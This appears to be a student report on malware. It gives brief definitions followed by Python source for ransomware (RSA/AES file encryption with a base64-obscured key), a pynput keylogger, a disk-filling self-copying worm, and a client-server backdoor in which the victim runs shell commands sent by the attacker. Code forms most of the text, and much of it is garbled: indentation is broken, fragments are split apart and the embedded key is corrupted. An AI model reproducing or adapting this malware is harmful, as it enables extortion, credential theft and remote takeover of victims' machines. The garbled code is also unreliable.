

REVERSE ENGINEERING AND MALWARE ANALYSIS

TEAM MEMBERS :

Girada Uma Maheswara Rao(21FE5A0308)
Undamatla Lakshmi Narasimha(21FE5A0337)
Chintha Ajay Kumar(20FE1A0323)

RANSOMWARE

it is a malicious software or computer virus, upon triggering which will encrypt the files and data in the disk and asks for ransom(money) in exchange to decrypt the data.

HOW SIMPLE RANSOMWARE MADE WITH PYTHON:

First a private public key pair is generated using libraries which supports algorithm rsa

Then generated public key and private key is encoded with base64 so that reverse engineers and malware analyst can't easily find the keys.

Then a recursive function will scan the directories and files and encrypt those data with public key and delete those original files

Based on malware author this malware can have GUI with countdown and other graphic interface with payment gateway embedded can be included.

SAMPLE CODE:

```
import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

...

with open('public.pem', 'rb') as f:
    public = f.read()

print(base64.b64encode(public))

...
```

```
# public key with base64 encoding pubKey
```

```
=
```

```
'''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTU1JQk1qQU5CZ2txaGtpRz13MEJBUUVGQUFPQ0FROEFNSU1CQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM21zNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRT4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRmdCtqV1Q0YjVrTUFGWTRkOW5Yb31RQmxJbzBWckMwQzIKcldpek1ONGV1TXBTbl13V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rN1lnWEozbWJldAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbKUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERyaWRkbXBicnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQnlpDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTE1DIETfWS0tLS0t'''
```

```
pubKey = base64.b64decode(pubKey)
```

```
def scanRecurse(baseDir):
```

```
'''
```

```
Scan a directory and return a list of all files
```

```
return: list of files
```

```
'''    for entry in
```

```
os.scandir(baseDir):        if
```

```
entry.is_file():            yield
```

```
entry                        else:
```

```
yield from scanRecurse(entry.path)
```

```
def encrypt(dataFile, publicKey):
```

```
'''    use EAX mode to allow detection of unauthorized
modifications
```

```
'''
```

```
# read data from file        with
```

```
open(dataFile, 'rb') as f:
```

```
data = f.read()
```

```
# convert data to bytes
```

```
data = bytes(data)
```

```
# create public key object
```

```
key = RSA.import_key(publicKey)
```

```
sessionKey = os.urandom(16)
```

```

        # encrypt the session key with the public key
cipher = PKCS1_OAEP.new(key)      encryptedSessionKey
= cipher.encrypt(sessionKey)

        # encrypt the data with the session key
cipher = AES.new(sessionKey, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(data)

        # save the encrypted data to file
        [ fileName, fileExtension ] = dataFile.split('.')
        encryptedFile = fileName + '_encrypted.' + fileExtension
with open(encryptedFile, 'wb') as f:
    [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag,
ciphertext) ]    print('Encrypted file saved to ' + encryptedFile)

        fileName = 'test.txt' encrypt(fileName, pubKey)

def decrypt(dataFile, privateKeyFile):
    '''
        use EAX mode to allow detection of unauthorized modifications
    '''

        # read private key from file
with open(privateKeyFile, 'rb') as f:
privateKey = f.read()      # create
private key object      key =
RSA.import_key(privateKey)

        # read data from file      with
open(dataFile, 'rb') as f:
# read the session key
        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in
(key.size_in_bytes(), 16, 16, -1) ]

        # decrypt the session key
cipher = PKCS1_OAEP.new(key)
        sessionKey = cipher.decrypt(encryptedSessionKey)

        # decrypt the data with the session key
cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)
data = cipher.decrypt_and_verify(ciphertext, tag)

        # save the decrypted data to file
        [ fileName, fileExtension ] = dataFile.split('.')
decryptedFile = fileName + '_decrypted.' + fileExtension
with open(decryptedFile, 'wb') as f:
        f.write(data)

```

```
print('Decrypted file saved to ' + decryptedFile)
```

KEYLOGGER:

This type of malware is installed indirectly by other malware or installed directly by malicious hacker. This malware will log all the keystrokes entered by the users in the pc or will log the keystrokes only when particularly entering the credentials.

HOW SIMPLE KEYLOGGER IS MADE BY PYTHON

Using pynput library the keystrokes can be captured. those keystrokes can be locally stored in the pc or remotely stored in the cloud or hackers pc.

Those reading and writing of file (file handling) can be done by os library.

```
SAMPLE CODE: import pynput import os  from
pynput.keyboard import Key, Listener
```

```
#function defines actions on the key press
```

```
def on_press(key):    print(key)
```

```
write_file(key)
```

```
    if key ==
```

```
Key.esc:
```

```
clear_file()
```

```
return False
```

```
#function writes each key to a file def
```

```
write_file(key):
```

```
    #gives the path of the directory this program is in
```

```
pth = os.path.dirname(os.path.realpath(__file__))
```

```
    #specify the name of the file to write to
```

```
file_name = "log.txt"
```

```

        #combines the previous two variables to get the full path of the log.txt file
address = os.path.join(pth,file_name)

#open file in append mode
with open(address, "a") as f:

    #replace single quotes with nothing
    k = str(key).replace("'", "")

    #Key.Space will now be logged as a space
    if k == "Key.space":
        f.write(' ')

    #Key.backspace will now be logged as an asterisk (*)
    if k == "Key.backspace":
        f.write('*')

    #Key.enter will now be logged as a space
    if k == "Key.enter":
        f.write(' ')

    #will exclude all other "non-standard" keys that begin with "Key"
    #and write only the "normal", alphabetical keys
    elif k.find("Key") == -1:
        f.write(k)

#function clears the log.txt file to prep it for its next use def
clear_file():
    #exact same method of obtaining log.txt file path as write_file()
    pth = os.path.dirname(os.path.realpath(__file__))    file_name =
    "log.txt"      address = os.path.join(pth,file_name)

    #clears the log file      with
    open(address, "r+") as f:
        f.truncate(0)
        f.seek(0)

        with Listener(on_press=on_press) as
listener:
    listener.join()

```

WORMS

A worm is a type of malicious software or malware that is capable of self-replicating and spreading across computer networks without requiring any user interaction. It is designed to exploit vulnerabilities in computer systems, allowing it to infect other.

HOW SIMPLE WORMS IS MADE IN PYTHON:

This worm will replicate the files and fill the space in the disk with duplicate files.

Shutil is one of the library which is used to copy the files contents. which will ne used to copy the files from given directory to targeted directory with mentioned no. of copies.

This worm will replicate itself by creating new instance of above file duplicating function for various directory.

SAMPLE CODE:

```
import os
import shutil

class Worm:
    def __init__(self, path=None,
target_dir_list=None, iteration=None):
        if isinstance(path,
type(None)):
            self.path = "/"
        else:
            self.path
= path

            if isinstance(target_dir_list,
type(None)):
                self.target_dir_list = []
            else:
                self.target_dir_list =
target_dir_list

                if isinstance(target_dir_list,
type(None)):
                    self.iteration = 2
                else:
                    self.iteration = iteration

            # get own absolute path
self.own_path = os.path.realpath(__file__)
def list_directories(self,path):

    self.target_dir_list.append(path)
files_in_current_directory = os.listdir(path)
```

```

        for file in
files_in_current_directory:
        # avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
        # get the full path
absolute_path = os.path.join(path, file)
print(absolute_path)
        if
os.path.isdir(absolute_path):
        self.list_directories(absolute_path)
else:
        pass
        def create_new_worm(self):
for directory in self.target_dir_list:
        destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)
        def
copy_existing_files(self):
        for directory in self.target_dir_list:
        file_list_in_dir = os.listdir(directory)
for file in file_list_in_dir:
        abs_path = os.path.join(directory, file)
        if not
abs_path.startswith('.') and not os.path.isdir(abs_path):
        source = abs_path
for i in range(self.iteration):
        destination = os.path.join(directory, ("."+file+str(i)))
shutil.copyfile(source, destination)
        def
start_worm_actions(self):
        self.list_directories(self.path)
        print(self.target_dir_list)
self.create_new_worm()
self.copy_existing_files()
        if
__name__=="__main__":

```

```

current_directory = os.path.abspath("")
worm = Worm(path=current_directory)
worm.start_worm_actions()

```

BACKDOOR:

A backdoor is a hidden method or entry point in a computer system or software application that allows unauthorized access and control of the system without going through normal authentication or security mechanisms. It is typically created by developers or attackers to bypass normal security measures and gain privileged access to a system.

HOW SIMPLE BACKDOOR IS MADE IN PYTHON:

Basically Backdoor is a socket communication, consist of client and server script running on both pc. Here server can be hacker or compromised system based on the situation.

Both script will create a connection and bind to it and listen to it.

This way hacker can able to communicate to the compromised system.

SAMPLE CODE:

```

SERVER import
socket

class Server:    def __init__(self,
host_ip, host_port):
    self.host_ip = host_ip
self.host_port = host_port
    def
start_conn(self):
    print("#####")
print("##### Server Program #####")
print("#####")
    server        =        socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
server.bind((self.host_ip,self.host_port))

    print("Msg: Server Initiated...")
print("Msg: Listening to the Client")
    server.listen(1)        self.client,
self.client_addr = server.accept()

```



```

        print("Msg: Received Connection from",
self.client_addr)
    def
online_interaction(self):
while True:
        interface = '[+] ' + str(self.client_addr[0]) + " :sh$ "
command = input(interface)          print(command)
self.client.send(command.encode())    recv_data =
self.client.recv(1024).decode()      if recv_data == b"":
        continue
print("\n", recv_data, "\n")
    def
offline_interaction(self,list_of_commands):
self.client.send(str(list_of_commands).encode())
recv_data = self.client.recv(1024).decode()
print("Received output data from Client\n\n")
print(recv_data)
    if __name__ == '__main__':
server = Server('127.0.0.1', 4000)
server.start_conn()
server.online_interaction()

```

CLIENT:

```

import socket import subprocess import ast
class Victim:    def __init__(self,
server_ip, server_port):
        self.server_ip = server_ip
self.server_port = server_port
    def
connect_to_server(self):
        print("#####")
print("##### Client Program #####")
print("#####")
        self.client = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)

```

```

        print("Msg: Client Initiated...")
self.client.connect((self.server_ip, self.server_port))
print("Msg: Connection initiated...")
    def
online_interaction(self):
while True:
        print("[+] Awaiting Shell Commands...")
user_command = self.client.recv(1024).decode()          #
print("received command: $ ", user_command)
        op = subprocess.Popen(user_command, shell=True,
stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()          output_error =
op.stderr.read()
        print("[+] Sending Command Output...")
if output == b"" and output_error == b"":
self.client.send(b"client_msg: no visible output")
else:
        self.client.send(output + output_error)
    def
offline_interaction(self):
        print("[+] Awaiting Shell Command List...")
rec_user_command_list = self.client.recv(1024).decode()
user_command_list = ast.literal_eval(rec_user_command_list)
        final_output = ""          for
command in user_command_list:
        op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)          output = op.stdout.read()
output_error = op.stderr.read()
        final_output += command + "\n" + str(output) + "\n" +
str(output_error) + "\n\n"
self.client.send(final_output.encode())

    if __name__ ==
'__main__':

```

```
        choice = "online" # "offline"
victim = Victim('127.0.0.1', 4000)
victim.connect_to_server()
        if choice ==
"online":
            victim.online_interaction()
else:
            victim.offline_interaction()
```